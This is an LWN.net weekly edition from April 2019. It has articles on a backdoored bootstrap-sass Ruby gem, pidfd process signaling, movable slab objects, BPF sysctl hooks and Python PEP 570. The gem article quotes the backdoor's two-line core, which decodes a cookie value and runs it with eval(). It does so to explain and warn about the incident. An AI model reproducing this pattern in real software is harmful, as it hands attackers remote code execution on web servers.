|
|
Subscribe / Log in / New account

LWN.net Weekly Edition for April 11, 2019

Welcome to the LWN.net Weekly Edition for April 11, 2019

This edition contains the following feature content:

This week's edition also includes these inner pages:

  • Brief items: Brief news items from throughout the community.
  • Announcements: Newsletters, conferences, security updates, patches, and more.

Please enjoy this week's edition, and, as always, thank you for supporting LWN.net.

Comments (none posted)

A backdoor in a popular Ruby gem

By Jake Edge
April 10, 2019

Finding ways to put backdoors into various programming-language package repositories (e.g. npm, PyPI, and now RubyGems) seems like it is becoming a new Olympic sport or something. Every time you turn around, there is a report of a new backdoor. It is now apparently Ruby's turn, with a new report of a remote-execution backdoor being inserted, briefly, into a popular gem that is installed by some sites using the Ruby on Rails web-application framework.

The bootstrap-sass gem provides a version of the Bootstrap mobile-centric JavaScript library for Sass environments. It can be easily added to web sites, so it is included in many. As with much of the web-application development today, these kinds of dependencies are often picked up automatically, built into cloud or container images, and deployed into production with little or no human supervision. Unfortunately, bootstrap-sass was backdoored by persons unknown in late March.

The backdoor was discovered quickly, less than a day after the release was made, according to a timeline in a Snyk blog post about the flaw. Version 3.2.0.2 of bootstrap-sass gem was removed from the RubyGems repository, presumably by the malicious actor(s), sometime prior to March 26. That was done to cause users to pick up a new version, 3.2.0.3, that was published on RubyGems on March 26. It contained the backdoor.

Later that day, Derek Barnes reported the problem to the bootstrap-sass GitHub issue tracker. Once it was reported, the malicious version was removed from RubyGems within an hour, but that did obviously provide a window of vulnerability. In addition, that window was accidentally extended for a week or so due to the way the gem was removed; the malicious version could still be specifically requested by its version number.

The backdoor code stands out fairly well, unlike some others, perhaps. As shown in the bug report, and described in the Snyk post, the backdoor lives in a bootstrap-sass file called lib/active-controller/middleware.rb. Looking at that code shows a few lines that look suspect even to programmers who do not know Ruby:

    x = Base64.urlsafe_decode64(e['http_cookie'.upcase].
               scan(/___cfduid=(.+);/).flatten[0].to_s)
    eval(x) if x

Even to an untrained eye, that would seem to be grabbing the value of a cookie sent over by the client, base64-decoding it, and then executing it with eval(). And, in fact, that is what's happening; the "__cfduid" cookie, which is normally only used by Cloudflare, is decoded and executed in the context of the web server. Actually, though, it is the "___cfduid" cookie that is being used by the malware (with three underscores, rather than two as in the Cloudflare cookie), presumably as a disguise of sorts.

Stepping back a bit, the code is only executed if the Rails application is running in production mode; it monkey patches the call method such that it does the cookie dance and then executes the original call method. Effectively, it inserts code received from the client directly in the path of handling its request. A comment on the bug report goes into some more detail of the backdoor code.

The best guess is that one of the two maintainers of the gem somehow had their RubyGems credentials compromised so that the attacker could update the package there (and "yank" the previous version to try to force "upgrades"). But, as Barnes described in his account of the discovery, the attacker could not update the GitHub repository to tag a version 3.2.0.3. They also could not issue the usual announcements of version updates. Apparently, and thankfully, the attacker only had credentials for RubyGems; the lack of credentials elsewhere kept them from covering their tracks better and, thus, alerted Barnes.

Moving forward, the maintainers of bootstrap-sass, Gleb Mazovetskiy and Thomas McDonald, have some suggestions on ways to make things more secure. For example, RubyGems does not keep a record of who pushed the malicious version, which means that there is no way to be sure which of the two maintainers lost control of their credentials. The multi-factor authentication (MFA) support could be improved as well.

In the grand scheme of things, this backdoor likely has a fairly low impact. As noted, the backdoor was found and fixed quickly but, for a little while, it did have the potential to wreak havoc on affected sites. It is a popular gem, but the version that was backdoored was not from the current 3.4.x branch; 3.2.0.2, which was the last good version before the compromise, was released in September 2014.

According to the RubyGems statistics, 3.2.0.2 has been downloaded 1.2 million times, while 3.2.0.3 with the backdoor has only been downloaded 1477 times and the fixed version, 3.2.0.4 (which is the same as 3.2.0.2), has been downloaded more than 1700 times. That version may have been popular a ways back, but it seems to have tapered down a fair ways. The most recent bootstrap-sass, 3.4.1, has been downloaded more than 250,000 times since its release in February.

Though this incident seems relatively minor, the next one may not be. As a community, we need to figure out ways to reduce these kinds of attacks. As long as there are wide swaths of the net that are pulling down lots of unvetted code and putting it into production without humans in the loop, those distribution mechanisms will continue to be attacked. Securing those mechanisms will go a long way toward stopping the next web-application backdoor. But we also need to ensure that the components we are using are still maintained, lest we replay the event-stream incident. There is much to do even though it seems like we have been working on it for decades.

Comments (44 posted)

Rethinking race-free process signaling

By Jonathan Corbet
April 4, 2019
One of the new features in the 5.1 kernel is the pidfd_send_signal() system call. Combined with the (also new) ability to create a file descriptor referring to a process (a "pidfd") by opening its directory in /proc, this system call allows for the sending of signals to processes in a race-free manner. An extension to this feature proposed for 5.2 has, however, sparked a discussion that has brought the whole concept into question. It may yet be that the pidfd feature will be put on hold before the final 5.1 release while the API around it is rethought.

The fundamental problem being addressed by the pidfd concept is process-ID reuse. Most Linux systems have the maximum PID set to 32768; if lots of processes (and threads) are created, it doesn't take a long time to use all of the available PIDs, at which point the kernel will cycle back to the beginning and start reusing the ones that have since become free. That reuse can happen quickly, and processes that work with PIDs might not notice immediately that a PID they hold referred to a process that has exited. In such conditions, a stale PID could be used to send a signal to the wrong process. As Jann Horn pointed out, real vulnerabilities have resulted from this problem.

A pidfd is a file descriptor that is obtained by opening a process's directory in the /proc virtual filesystem; it functions as a reference to the process of interest. If that process exits, its PID might be reused by the kernel, but any pidfds referring to that process will continue to refer to it. Passing a pidfd to pidfd_send_signal() will either signal the correct process (if it still exists), or return an error if the process has exited; it is guaranteed not to signal the wrong process. So it would seem that this problem has been solved.

Not so fast

In late March, Christian Brauner posted a patch set adding another new system call:

    int pidfd_open(pid_t pid, unsigned int flags);

This system call will look up the given pid in the current namespace, then return a pidfd referring to it. This call was proposed to address cases where /proc is not mounted in a given namespace. For cases where /proc is available, though, the patch set also implements a new PIDFD_GET_PROCFD ioctl() call that takes a pidfd, opens the associated process's /proc directory, and return a file descriptor referring to it. That descriptor, which functions as a pidfd as well, could then be used to read other information of interest out of the /proc directory.

Linus Torvalds had no fundamental problem with pidfd_open(), but he was rather less pleased with the ioctl() command. The core of his disagreement had to do with the creation of a second type of pidfd: one created by pidfd_open() would have different semantics than one created by opening the /proc directory or by calling ioctl(). In his view, either creation path should yield the same result on systems where /proc is mounted; there should be no need to convert between two types of pidfd.

Brauner was not immediately accepting of that idea. He worried that the equivalence would force a dependency on having /proc enabled (a concern that Torvalds dismissed), and that it could expose information in /proc that might otherwise be hidden from a pidfd_open() caller. Torvalds suggested tightening the security checks in that latter case. Even then, Andy Lutomirski worried, "/proc has too much baggage" to be made secure in this setting. It might be necessary, he said, to create a separate view of /proc that would be provided with pidfds.

clone()

As the conversation went on, though, it became increasingly clear that pidfd_open() was not the end goal. That call is still racy — a PID could be reused in the time between when a caller learns about it and when the pidfd_open() call actually completes. There are ways of mitigating this problem, but it does still exist. The only truly race-free way of getting a reference to a process, it was agreed, is to create that reference as part of the work of creating the process itself. That means it should be created as part of a clone() call.

That could be made possible by adding a new flag (called something like CLONE_PIDFD) to clone() that would return a pidfd to the parent rather than a PID. There were some worries that clone() has run out of space for new flags, necessitating a new system call, but Torvalds indicated that there is still at least one bit available. As a result of the discussion, it seems likely that a patch implementing the new clone() behavior will be posted in the near future.

That, however, leaves open the question of pidfd_open() and how pidfds should work in general. At one point, Brauner suggested breaking the connection with /proc entirely: a pidfd could be used for sending signals (or, in the future, waiting for a process), but its creation would not be tied to a /proc directory in any way. That would involve disabling the functionality in 5.1, something that can still be done since it is not yet part of an official kernel release. The problem of opening the correct /proc directory (to read information about the process) could be addressed by adding a field to the fdinfo file for the pidfd; the information there could be used to verify that a given /proc directory refers to the same process as the pidfd.

It eventually became clear, though, that Torvalds instead favored retaining the tie between a pidfd and the /proc directory; he called it "the most flexible option". So, one day later, Brauner came back with another plan: the connection with /proc would remain, but the pidfd_open() system call would be dropped since there would no longer be any real need for it. Should this plan be followed, which seems to be the most likely outcome, the existing 5.1 pidfd work could remain, since it is still a part of the final vision.

If things play out this way, the new clone() option will likely appear in 5.2 or 5.3. Process-management systems that are concerned about races will then be able to use pidfds for safe process signaling. If nothing else, this discussion shows the value of having many developers looking at proposed API additions. In a setting where mistakes are hard to correct once they get out into the world, one wants to get things right from the outset if at all possible.

A postscript

A contributing factor to the problem of PID reuse is the fact that the PID space is so small; for compatibility with ancient Unix systems (and the programs that ran on them), it's limited to what can be stored in a signed 16-bit value. That was a hard limit until the 2.6.10 release in 2002, when Ingo Molnar added a flexible limit capped at 4,194,304; the default limit remained (and remains) 32768, but it can be changed with the kernel/pid_max sysctl knob.

At the time, Molnar placed a comment reading "a maximum of 4 million PIDs should be enough for a while" that endures to this day. Over 16 years later, it's clear that he was right. But as part of this discussion, Torvalds said that perhaps the time has come to raise both the default and the limit. Setting the maximum PID to MAXINT would, he said, make a lot of the attacks harder. Whether such a change would break any existing software remains to be seen; it seems unlikely in 2019 but one never knows.

Comments (72 posted)

Making slab-allocated objects movable

By Jonathan Corbet
April 8, 2019
Memory fragmentation is a constant problem for memory-management subsystems. Over the years, considerable effort has been put into reducing fragmentation in the Linux kernel, but almost all of that work has been focused on memory management at the page level. The slab allocators, which (mostly) manage memory in chunks of less than the page size, have seen less attention, but fragmentation at this level can create problems throughout the system. The slab movable objects patch set posted by Tobin Harding is an attempt to improve this situation by making it possible for the kernel to actively defragment slab pages by moving objects around.

Over the course of normal operation, the kernel allocates (and sometimes frees) vast numbers of small objects in memory. The slab allocators are designed to make these allocation operations efficient; they allocate whole pages, then parcel out the smaller objects from there. Sets of pages ("slabs") are set aside for objects of a fixed size, allowing them to be efficiently packed with a minimum of overhead and waste. Linux users can choose between three slab allocators: the original allocator (simply called "slab"), SLUB (the newer allocator used on most systems), and SLOB (a minimal allocator for the smallest systems).

For a window into how the allocator on a given system is working, one can look at /proc/slabinfo. On your editor's system, for example, there are currently 338,860 active dentry cache entries, each of which requires an object from the slab allocator. A dentry structure is 192 bytes on this system, so 21 of them can be allocated from each full page. Thus, a minimum of 16,136 pages are needed to hold these objects; on the system in question, 16,461 are actually used for that purpose. There are thus over 300 pages allocated beyond what is strictly needed, which is actually a relatively low level of overhead; it can get a lot worse.

When the system runs low on memory, it will call back to owners of various slabs to request that they free objects to make memory available for other use. The recipients of these calls will dutifully free some objects if they can, but this often is not as useful as one would like. The slab allocator can only return a page to the system if all of the objects on that page have been freed. If the dentry cache, for example, frees 100,000 of those 338,860 objects, it will have certainly made the cache hit rate lower, but since those objects may be scattered throughout those 16,461 pages, the number of pages actually freed might be quite small. That can be a significant performance hit for little memory gain, but that is how things work now. A small number of objects can pin a lot of pages that are mostly unused, wasting a lot of memory.

It would be better if the slab allocator could move allocated objects out of slab pages that are mostly empty, freeing those pages while making better use of other pages with free space in them. The problem, of course, is that any such mechanism requires cooperation from whoever is allocating objects from the slab. The owners of those objects access them with direct pointers; if an object is to be moved, any pointers to it will have to be located and changed. That complicates the picture considerably and, for slabs that allocate objects for many callers (those that handle kmalloc(), for example), making objects movable is not really feasible. There are other cases, though, where a single owner exists; for those, getting the owner to move things might just be possible. That is the idea behind the slab movable objects patches, which adds object mobility to the SLUB allocator.

To support movable objects, the owner of a slab cache must provide two new functions. The first, called isolate(), has this prototype:

    typedef void *kmem_cache_isolate_func(struct kmem_cache *s, void **objs, int nr);

A call to this function tells the owner that the slab cache would like to relocate nr objects in the cache s, the addresses of which are stored in objs. The objects should not actually be moved at this time, but they should be locked or otherwise frozen so that no other changes are made to them while the process is underway. If it is known that any of the objects cannot be moved, their pointer can be zeroed out in objs. Should it be necessary to retain any data about this relocation, the function can return a pointer to that data.

The next step is to actually move the objects with the migrate() function:

    typedef void kmem_cache_migrate_func(struct kmem_cache *s, void **objs,
				         int nr, int node, void *private);

The s, objs, and nr parameters are as with isolate(). The node argument indicates a NUMA node where the objects should be moved to, and private is the pointer that was returned from isolate(). The function should actually move the objects, typically by calling kmem_cache_alloc() to allocate new objects, copying the data over, and updating any internal pointers. The old objects should then be freed. Any locking that was applied to these objects in the isolate() function should, of course, be undone here.

To enable object mobility for a given slab cache, the above functions should be passed to:

    void kmem_cache_setup_mobility(struct kmem_cache *s,
    				   kmem_cache_isolate_func isolate,
			           kmem_cache_migrate_func migrate);

There is one other requirement for mobility to work: the slab cache must have a constructor associated with it. That is because the kernel might try to relocate objects at any time, and that can require dealing with the data in those objects. If they are not all properly initialized and consistent from the outset, bad things could happen.

The patch set enables object relocation in two subsystems: the dentry cache and the XArray data structure. The dentry cache implementation is relatively simple; rather than try to relocate cache entries, it simply frees those that have been targeted. One might argue that the functionality is similar to how the cache shrinker works now, but there is a difference: the objects to be freed can be chosen to free up specific pages in the slab cache. It should, thus, be rather more efficient. That said, some problems with the current dentry cache implementation were pointed out by Al Viro; some work will need to be done there before this code is ready for the mainline.

The XArray implementation is simpler; there is no need for an isolate() function, so none is provided. The migrate() function is able to take locks and reallocate objects relatively easily without any advance preparation.

Making slab objects movable will not solve the problem of slab-cache fragmentation on its own. But, if applied to the largest caches in the system, it should be able to improve the situation considerably. That, in turn, will make progress on a problem that has affected the memory-management subsystem for years.

Comments (8 posted)

Managing sysctl knobs with BPF

By Jonathan Corbet
April 9, 2019
"Sysctl" is the kernel's mechanism for exposing tunable parameters to user space. Every sysctl knob is presented as a virtual file in a hierarchy under /proc/sys; current values can be queried by reading those files, and a suitably privileged user can change a value by writing to its associated file. What happens, though, when a system administrator would like to limit access to sysctl, even for privileged users? Currently there is no solution to this problem other than blocking access to /proc entirely. That may change, though, if this patch set from Andrey Ignatov makes its way into the mainline.

The use case that Ignatov has in mind is containerized applications that, for one reason or another, are run as root. If /proc is mounted in the namespace of such a container, it can be used to change sysctl knobs for the entire system. A hostile container could take advantage of that ability for any of a number of disruptive ends, including perhaps breaking the security of the system as a whole. While disabling or unmounting /proc would close this hole, it may have other, unwanted effects. This situation leads naturally to the desire to exert finer-grained control over access to /proc/sys.

In recent years, one would expect such control to be provided in the form of a new hook for a BPF program, and one would not be disappointed in this case. The patch set adds a new BPF program type (BPF_PROG_TYPE_CGROUP_SYSCTL) and a new operation in the bpf() system call (BPF_CGROUP_SYSCTL) to install programs of that type. As can be inferred from the names, these programs are attached by way of control groups, so different levels of control can be applied in different parts of the system.

Once attached, the program will be invoked whenever a process in the affected control group attempts to read or write a sysctl knob. The context passed to these programs contains a flag indicating whether a write operation is being performed and the position within the sysctl file that is being read or written. To learn more, the program must call a set of new helper functions, starting with:

    int bpf_sysctl_get_name(struct bpf_sysctl *ctx, char *buf, size_t buf_len, 
			    u64 flags);

to get the name of the knob that is being changed. By default, the full name of the knob from the root of the sysctl hierarchy (i.e. without "/proc/sys") is returned; the BPF_F_SYSCTL_BASE_NAME flag can be used to get only the last component of the name. If the program returns a value of one, the access will be allowed; otherwise it will fail with an EPERM error.

That is enough for any program that just needs to filter based on the name of the knob being accessed. For more nuanced control, there is another set of helpers:

    int bpf_sysctl_get_current_value(struct bpf_sysctl *ctx, char *buf, size_t buf_len);
    int bpf_sysctl_get_new_value(struct bpf_sysctl *ctx, char *buf, size_t buf_len);
    int bpf_sysctl_set_new_value(struct bpf_sysctl *ctx, const char *buf, size_t buf_len);

The first two functions will return the current value of the knob and, for write accesses, the new value that the process in question would like to set. The BPF program can choose to allow a sysctl knob to be changed but modify the actual value being written with bpf_sysctl_set_new_value().

That is about it for the new API; sysctl is a simple subsystem, so imposing a controlling layer does not involve a lot of complexity.

As Kees Cook noted, though, this proposal does raise an interesting question. He pointed out that this functionality seems more appropriate for a Linux security module (LSM) than a BPF program; LSMs exist to perform just this sort of fine-grained access control. Alexei Starovoitov replied that there is an important difference: the BPF program is tied to a specific control group, while LSMs are global across the system. That difference is important: it's what allows the administrator to set different policies for different control groups.

That, in turn, points out a significant limitation for LSMs in general: they were designed years before control groups were added to the system, so the two features do not always play well together. LSMs can do a lot to prevent containers from running amok across the system, but they are not equipped to easily enforce different policies for different containers. A hook for a BPF program is rather more flexible in that regard. The ability to change the value written to a sysctl knob is also something that one would not find in an LSM, the job of which is to make a simple decision on whether to allow an operation to proceed or not.

And that, perhaps, highlights part of why BPF has been so successful in recent years. The kernel's role is to enforce policy, but to allow the system administrator to say what that policy should be. In an attempt to provide sufficient flexibility, the kernel has grown elaborate frameworks for the expression of policy, including the LSM subsystem or, for example, the netfilter mechanism. But users always come up with ideas for policies that are awkward (or impossible) to express with those frameworks; they're users, that's their job. So, over time, these in-kernel policy machines grow bigger, more complicated and, often slower — and still don't do everything users would like.

It is far easier for the kernel to provide a hook for a BPF program in places where policy decisions need to be made; a BPF hook can replace a lot of kernel code. The result also tends to be much more flexible, and it will almost certainly perform better. So it's not surprising that the kernel seems to be growing BPF hooks in all directions. The sysctl hook is just another example of how the kernel's API is being transformed by BPF; expect a lot more of these hooks to be added in the future.

Comments (34 posted)

Positional-only parameters for Python

By Jake Edge
April 10, 2019

Arguments can be passed to Python functions by position or by keyword—generally both. There are times when API designers may wish to restrict some function parameters to only be passed by position, which is harder than some think it should be in pure Python. That has led to a PEP that is meant to make the situation better, but opponents say it doesn't really do that; it simply replaces one obscure mechanism with another. The PEP was assigned a fairly well-known "BDFL delegate" (former BDFL Guido van Rossum), who has accepted it, presumably for Python 3.8.

Background

Since Python 1.0 or so, parameters to Python functions can be passed as positional arguments or as keyword arguments. For example:

    def fun(a, b, c=None):
        ...

    fun(1, 2)
    fun(1, 2, 3)
    fun(a=1, b=2, c=3)
    fun(c=3, a=1, b=2)

The function fun() takes two positional arguments and one optional argument, which defaults to None. All four of the invocations of the function shown above are legal as well. The only restriction is that positional arguments, those without a "keyword=", must all come before any keyword arguments when calling a function. So "fun(a=1, 2)" will raise a SyntaxError.

As can be seen above, any of the parameters can be passed as a keyword argument, even if the function author did not expect them to be. That means that changing the parameter name down the road, due to refactoring or for more clarity, say, may cause callers to fail if they are using the old name. That places more of a burden to come up with a "meaningful" name, even when there may be no real reason to do so (e.g. min(arg1, arg2)).

Positional-only parameters

It would be nice if library authors could indicate which parameter names are meant to be used only by positional arguments. In fact, some CPython builtins and standard library functions written in C are already able to specify and enforce positional-only arguments. Looking at help(pow) in the Python interpreter will show the function signature as follows:

    pow(x, y, z=None, /)

The "/" is a documentation convention that originated in the Python "Argument Clinic", which is a preprocessor to generate argument-handling code for CPython builtins. The "/" separates positional-only arguments from those that can be either positional or keyword (though the convention is not used in the pow() entry in the online documentation). Trying to call pow() in any of the following ways will lead to a TypeError being raised:

    pow(2, 4, z=5)
    pow(x=5, y=7)

PEP 570 ("Python Positional-Only Parameters") seeks to make that convention an actual part of the language syntax. As the PEP notes, using *args can accomplish the same goal, but it obscures the function's "true" signature. In a function definition, *args acts as a tuple that collects up any positional arguments that have not been consumed by earlier positional parameters. (The documentation for function-parameter syntax in Python is a bit scattered, as pointed out by this helpful blog post, which summarizes that information.)

Using a symbol to separate different kinds of parameters is an already-established precedent in Python. In 2006, PEP 3102 ("Keyword-Only Arguments") described using "*" in parameter lists to indicate that any following parameters must be specified as keywords. As noted in that PEP, one could emulate the * by using a dummy parameter (e.g. *dummy) to collect up any remaining positional arguments, but if that isn't an empty tuple, the function has been called incorrectly. Rather than force users to add a dummy parameter and test it for emptiness, * was added to have the same effect.

    def fun(a, b, *dummy, kword=None):
        if dummy:
	    raise TypeError
	...

    # becomes:

    def fun(a, b, *, kword=None):
        ...

PEP 570 extends that idea to a certain extent. As described in the "Specification" section, it would work as follows:

From the "ten-thousand foot view", eliding *args and **kwargs for illustration, the grammar for a function definition would look like:
    def name(positional_or_keyword_parameters, *, keyword_only_parameters):

Building on that example, the new syntax for function definitions would look like:

    def name(positional_only_parameters, /, positional_or_keyword_parameters,
             *, keyword_only_parameters):

There are some performance benefits to positional-only parameters, so providing pure-Python functions with a way to specify them would be helpful. In addition, since different Python implementations make their own choices about what language to use for standard library functions, inconsistencies can arise. Pure-Python implementations of standard library functions cannot exactly match the behavior of C-based functions due to the lack of positional-only parameters. Alternatives to CPython should not have to jump through hoops to emulate positional-only parameters simply because they have a chosen a pure-Python implementation for some standard library function.

Another thing to consider, according to the PEP, is consistency for subclasses. If a base class defines a method using one parameter name that is intended to be positional and a subclass uses a different name, calls using the parent class's parameter name as a keyword argument will fail for the subclass, as the PEP's example shows. Adding a positional-only parameter will remove that problem. Beyond that, there is a corner case that can be cleaned up:

    def fun(name, **kwords):
        return 'name' in kwords       # always False

    def fun(name, /, **kwords):
        return 'name' in kwords       # True for fun(a, name=foo)

This corner case also plays out in other scenarios. If a function uses a name for a parameter, that precludes callers from using it as a keyword argument elsewhere in the argument list. An example using the str.format_map() builtin:

    def fun(fmt, **kwords):
        fmt.format_map(kwords)

    fun('format: {fmt}', fmt='binary')  # TypeError because fmt is reused

If fun() could be defined using the proposed syntax, the "reuse" of fmt would not cause an error:

    def fun(fmt, /, **kwords):
        ...

In a long discussion on the Python Discourse instance (which, incidentally, demonstrates the deficiencies of Discourse's unthreaded discussion, at least for me), the idea was hashed out. Much of the objection turned out to be the use of "/", it seems. That bit of syntax was seen as ugly and/or unnecessary, but its heritage goes a fair ways back. It originated from Van Rossum in a 2012 python-ideas post; he pointed out that / is kind of the opposite of * (which is used to mark keyword-only parameters) in some contexts (e.g. Python arithmetic). No one, including Van Rossum, is entirely happy with using /, but no one has come up with anything less ugly—at least in his view.

That's not for lack of trying. The use case has been discussed multiple times along the way but, even just this time, there were suggestions for using a decorator-based approach, repurposing Python 2 tuple-unpacking parameters, or using double-underscore prefixes on parameters to mark them as positional-only. All of those were rejected for various reasons, which are described in the PEP. As might be guessed, the reasons are often not entirely convincing to the proponents of those ideas.

No change desired

Either leaving things as they are or, perhaps, even changing the C-based functions to accept all arguments as keywords were suggested in the discussion. Raymond Hettinger said that the / notation used in the runtime documentation for builtins has been a failure. He is strongly opposed to adding it as real syntax, at least in part because it will be difficult to teach. He is concerned that it is a fairly minor problem being solved:

[...] I can report that the “/” notation in the help() output and tooltips has been an abject failure. It is not user friendly, necessary, or communicative.

Over time, we’ve had a trend of adding unnecessary, low-payoff complexity to the language. Cumulatively, it has greatly increased the mental load for newcomers and for occasional users. The help() output has become less self-explanatory over time and makes the language feel more complex. The proposal at hand makes it worse.

Pablo Galindo Salgado, who has been shepherding the PEP, unsurprisingly disagreed with Hettinger's complaints. There are valid problems that would be solved with the new syntax, Galindo Salgado said. In addition, the help() output would become more useful because it would always correspond with what can be used in a def statement, unlike the situation today.

Steve Dower had a more sweeping idea. He would like to see all parameters allowed as keyword arguments:

[...] I’d go as far as changing the builtins like range() to support named arguments no matter how ugly the implementation gets. Knowing that every argument can be specified by name is a feature, and I’m not convinced abandoning that is worth it.

But Van Rossum did not agree:

It’s not a feature. Readability Counts, and writing len(obj=configurations) is not something we want to encourage.

He is not particularly swayed by the "hard to teach" argument: "there are tons of advanced features that beginners don’t need to be taught". He also noted that adding the syntax that help() uses will help remove that confusion. Van Rossum made it clear that he believes the function's author should be in control of how the function is called, while Dower had the opposite view.

Along the way, Galindo Salgado pointed to a bug report from 2010 that could have been solved with positional-only parameters. In addition, Serhiy Storchaka created a work-in-progress pull request with a patch to change all positional-only parameters in the standard library once the new syntax is adopted. Van Rossum is not inclined to go quite that far, but does want to adopt the obvious cases.

As part of Storchaka's look into the standard library, he found a simple change that would automatically fix most or all of the corner-case variety of problems. As described in a bug report, the change would simply allow a keyword argument that duplicated a positional parameter name to be placed into **kwords. So the fmt example above would simply start working without the change in syntax. It is a fairly fundamental change to how the **kwords parameters work, however, so Van Rossum would like to see it get its own PEP and to discuss it separately.

The worries from Hettinger and others about teaching the new feature did lead Van Rossum to request that a new "How To Teach This" section be added to the PEP. That section is a draft for an addition to the "More on Defining Functions" section of the Python Tutorial. Steering committee member Carol Willing suggested adding some documentation helping to guide users on choosing between the various parameter types, along the lines of a blog post from Trey Hunner.

In truth, there was not much suspense about the outcome of this PEP. Fairly early on, Van Rossum tipped his hand in support of the PEP—well before the bulk of the thread was posted. It does seem like a useful addition to the language and one that can largely be ignored by those who don't need it. For those who do need it, though, it can make things a lot easier for certain types of functions.

Comments (13 posted)

Page editor: Jonathan Corbet

Inside this week's LWN.net Weekly Edition

  • Briefs: Browsers & "ping="; Microsoft & fork(); Prep for F30 Workstation; Quotes; ...
  • Announcements: Newsletters; events; security updates; kernel patches; ...
Next page: Brief items>>

Copyright © 2019, Eklektix, Inc.
Comments and public postings are copyrighted by their creators.
Linux is a registered trademark of Linus Torvalds